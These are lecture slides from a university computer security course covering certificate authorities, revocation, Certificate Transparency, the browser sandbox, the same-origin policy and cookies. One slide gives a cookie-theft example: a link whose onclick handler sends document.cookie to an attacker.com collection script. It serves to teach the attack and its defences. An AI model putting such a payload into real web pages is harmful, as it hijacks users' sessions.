CSE 484 : Computer Security and Privacy

Web Security
[Overview + Browser Security Model]

Fall 2021

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Administrivia

• HW2: Nov 5\textsuperscript{th} (Friday)
• Single CA certifying every public key is impractical
• Instead, use a trusted root authority (e.g., Verisign)
  • Everybody must know the root’s public key
  • Instead of single cert, use a certificate chain
    • \( \text{sig}_{\text{Verisign}}(\text{“AnotherCA”, PK}_{\text{AnotherCA}}) \), \( \text{sig}_{\text{AnotherCA}}(\text{“Alice”, PK}_{A}) \)
  • Not shown in figure but important:
    • Signed as part of each cert is whether party is a CA or not
• What happens if root authority is ever compromised?
More Rogue Certs

• In Jan 2013, a rogue *.google.com certificate was issued by an intermediate CA that gained its authority from the Turkish root CA TurkTrust
  • TurkTrust accidentally issued intermediate CA certs to customers who requested regular certificates
  • Ankara transit authority used its certificate to issue a fake *.google.com certificate in order to filter SSL traffic from its network
• This rogue *.google.com certificate was trusted by every browser in the world
Bad CAs

• **DarkMatter** ([https://groups.google.com/g/mozilla.dev.security.policy/c/nnlVNgz7g/m/TseYqDzaDAAJ](https://groups.google.com/g/mozilla.dev.security.policy/c/nnlVNgz7g/m/TseYqDzaDAAJ) and [https://bugzilla.mozilla.org/show_bug.cgi?id=1427262](https://bugzilla.mozilla.org/show_bug.cgi?id=1427262))
  • Security company wanted to get CA status
  • Questionable practices

  • Major company, regular participant in standards
  • Poor practices, mismanagement 2013-2017
  • CA distrusted in Oct 2018

• Recall: Turtles all the way down. How can we trust the CAs? What happens if we can’t?
Certificate Revocation

• Revocation is very important
• Many valid reasons to revoke a certificate
  • Private key corresponding to the certified public key has been compromised
  • User stopped paying their certification fee to this CA and CA no longer wishes to certify them
  • CA’s private key has been compromised!
• Expiration is a form of revocation, too
  • Many deployed systems don’t bother with revocation
  • Re-issuance of certificates is a big revenue source for certificate authorities
Certificate Revocation Mechanisms

• Certificate revocation list (CRL)
  • CA periodically issues a signed list of revoked certificates
    • Credit card companies used to issue thick books of canceled credit card numbers
    • Can issue a “delta CRL” containing only updates

• Online revocation service
  • When a certificate is presented, recipient goes to a special online service to verify whether it is still valid
    • Like a merchant dialing up the credit card processor
Attempt to Fix CA Problems:
Certificate Transparency

• **Problem:** browsers will think nothing is wrong with a rogue certificate until revoked

• **Goal:** make it impossible for a CA to issue a bad certificate for a domain *without the owner of that domain knowing*

• **Approach:** auditable certificate logs
  • Certificates published in public logs
  • Public logs checked for unexpected certificates

[www.certificate-transparency.org](http://www.certificate-transparency.org)
Attempt to Fix CA Problems:

Certificate Pinning

• **Trust on first access:** tells browser how to act on subsequent connections

• HPKP – HTTP Public Key Pinning
  • Use these keys!
  • HTTP response header field “Public-Key-Pins”

• HSTS – HTTP Strict Transport Security
  • Only access server via HTTPS
  • HTTP response header field "Strict-Transport-Security"
Next Major Topic!
Web+Browser Security
Big Picture: Browser and Network
Where Does the Attacker Live?

Mitigation: SSL/TLS (not covered further)

Mitigation: Browser security model + web app security (this/next week)
Two Sides of Web Security

(1) Web browser
   • Responsible for securely confining content presented by visited websites

(2) Web applications
   • Online merchants, banks, blogs, Google Apps ...
   • Mix of server-side and client-side code
     • Server-side code written in PHP, JavaScript, C++ etc.
     • Client-side code written in JavaScript (... sort of)
   • Many potential bugs: XSS, XSRF, SQL injection
But at least 3 actors!
Browser: All of These Should Be Safe

• Safe to visit an evil website

• Safe to visit two pages
  • Simultaneously
  • Sequentially

• Safe delegation
Browser Security Model

Goal 1: Protect local system from web attacker → Browser Sandbox

Goal 2: Protect/isolate web content from other web content → Same Origin Policy
Browser Sandbox

Goals: Protect local system from web attacker; protect websites from each other

- E.g., safely execute JavaScript provided by a website
- No direct file access, limited access to OS, network, browser data, content from other websites
- Tabs (**new: also iframes**) in their own processes
- Implementation is browser and OS specific*

*For example, see: https://chromium.googlesource.com/chromium/src/+master/docs/design/sandbox.md

<table>
<thead>
<tr>
<th>High-quality report with functional exploit</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Sandbox escape / Memory corruption in a non-sandboxed process</td>
<td>$30,000</td>
</tr>
</tbody>
</table>

From Chrome Bug Bounty Program

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Same Origin Policy

Goal: Protect/isolate web content from other web content

Website origin = (scheme, domain, port)

<table>
<thead>
<tr>
<th>Compared URL</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.example.com/dir/page.html">http://www.example.com/dir/page.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com/dir2/other.html">http://www.example.com/dir2/other.html</a></td>
<td>Success</td>
<td>Same protocol and host</td>
</tr>
<tr>
<td><a href="http://www.example.com:81/dir/other.html">http://www.example.com:81/dir/other.html</a></td>
<td>Failure</td>
<td>Same protocol and host but different port</td>
</tr>
<tr>
<td><a href="https://www.example.com/dir/other.html">https://www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different protocol</td>
</tr>
<tr>
<td><a href="http://en.example.com/dir/other.html">http://en.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host</td>
</tr>
<tr>
<td><a href="http://example.com/dir/other.html">http://example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
<tr>
<td><a href="http://v2.www.example.com/dir/other.html">http://v2.www.example.com/dir/other.html</a></td>
<td>Failure</td>
<td>Different host (exact match required)</td>
</tr>
</tbody>
</table>

[Example from Wikipedia]
Same Origin Policy is Subtle!

- Browsers don’t (or didn’t) always get it right...

- Lots of cases to worry about it:
  - DOM / HTML Elements
  - Navigation
  - Cookie Reading
  - Cookie Writing
  - Iframes vs. Scripts
HTML + DOM + JavaScript

```html
<html>
<body>
<h1>This is the title</h1>
<div>
<p>This is a sample page.</p>
<script>alert("Hello world");</script>
<iframe src="http://example.com"></iframe>
</div>
</body>
</html>
```
Same-Origin Policy: DOM

Only code from same origin can access HTML elements on another site (or in an iframe).

- www.bank.com (the parent) can access HTML elements in the iframe (and vice versa).
- www.evil.com (the parent) cannot access HTML elements in the iframe (and vice versa).

```html
<html>
  <body>
    <iframe src="http://www.bank.com/iframe.html">
    </iframe>
  </body>
</html>
```
Browser Cookies

- HTTP is stateless protocol
- **Browser cookies are used to introduce state**
  - Websites can store small amount of info in browser
  - Used for authentication, personalization, tracking...
  - Cookies are often secrets

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**Diagram:**
- **POST login.php**
  - username and pwd
  - HTTP Header: Set-cookie: `login_token=13579; domain = (who can read); expires = (when expires)`
- **GET restricted.html**
  - Cookie: `login_token=13579`
Same Origin Policy: Cookie Writing

Which cookies can be set by `login.site.com`?

**allowed domains**
- login.site.com
- .site.com

**disallowed domains**
- othersite.com
- .com
- user.site.com

`login.site.com` can set cookies for all of `.site.com (domain suffix)`, but not for another site or top-level domain (TLD)
Problem: Who Set the Cookie?

Browser

Set-Cookie:
Domain: .site.com
Value: userid=alice, token=1234

Set-Cookie:
Domain: .site.com
Value: userid=bob, token=5678

Cookie: userid=bob, token=5678

login.site.com

evil.site.com

cse484.site.com

Not a violation of the SOP!
Same-Origin Policy: Scripts

• When a website **includes a script**, that script **runs in the context of the embedding website**.

```html
<script src="http://otherdomain.com/library.js"></script>
```

The code from **http://otherdomain.com** **can** access HTML elements and cookies on **www.example.com**.

• If code in script sets cookie, under what origin will it be set?
• What could possibly go wrong...?
Foreshadowing:
SOP Does Not Control Sending

• A webpage can **send** information to any site
• Can use this to send out secrets...
Example: Cookie Theft

- Cookies often contain authentication token
  - Stealing such a cookie == accessing account

- Cookie theft via malicious JavaScript
  
  ```html
  <a href="#" onclick="window.location='http://attacker.com/stole.cgi?cookie=\'+document.cookie; return false;">Click here!</a>
  ```

- Aside: Cookie theft via network eavesdropping
  - Cookies included in HTTP requests
  - One of the reasons HTTPS is important!
Cross-Origin Communication

• Sometimes you want to do it...

• Cross-origin network requests
  • Access-Control-Allow-Origin: <list of domains>
    • Unfortunately, often:
      Access-Control-Allow-Origin: *

• Cross-origin client side communication
  • HTML5 postMessage between frames
    • Unfortunately, many bugs in how frames check sender’s origin
What about Browser Plugins?

- **Examples:** Flash, Silverlight, Java, PDF reader
- **Goal:** enable functionality that requires transcending the browser sandbox
- Increases browser’s attack surface

Java and Flash both vulnerable—again—to new 0-day attacks

Java bug is actively exploited. Flash flaws will likely be targeted soon.

by Dan Goodin (US) - Jul 13, 2015 9:11am PDT

- **Good news:** plugin sandboxing improving, and need for plugins decreasing (due to HTML5 and extensions)
“As of mid-October 2020, users started being prompted by Adobe to uninstall Flash Player on their machines since Flash-based content will be blocked from running in Adobe Flash Player after the EOL Date.”

What about Browser Extensions?

• Most things you use today are probably extensions
• **Examples:** AdBlock, Ghostery, Mailvelope
• **Goal:** Extend the functionality of the browser

• (Chrome:) Carefully designed security model to **protect from malicious websites**
  • **Privilege separation:** extensions consist of multiple components with well-defined communication
  • **Least privilege:** extensions request permissions
What about Browser Extensions?

• But be wary of malicious extensions: **not subject to the same-origin policy** – can inject code into any webpage!

![Add "Mailvelope"?
It can:
• Read and change all your data on the websites you visit](image)
Extensions in flux

• Google has (attempted) to standardize how extensions work

• “Manifest v3” is the new specification
  • Upends how extensions get access to pages
  • Changes how they can execute code

• Generally, slow progress towards making them safer to use
Summing up browser security

• Browsers are a critical consumer target today
  • Large attack surface

• Many assets to protect

• Wide usage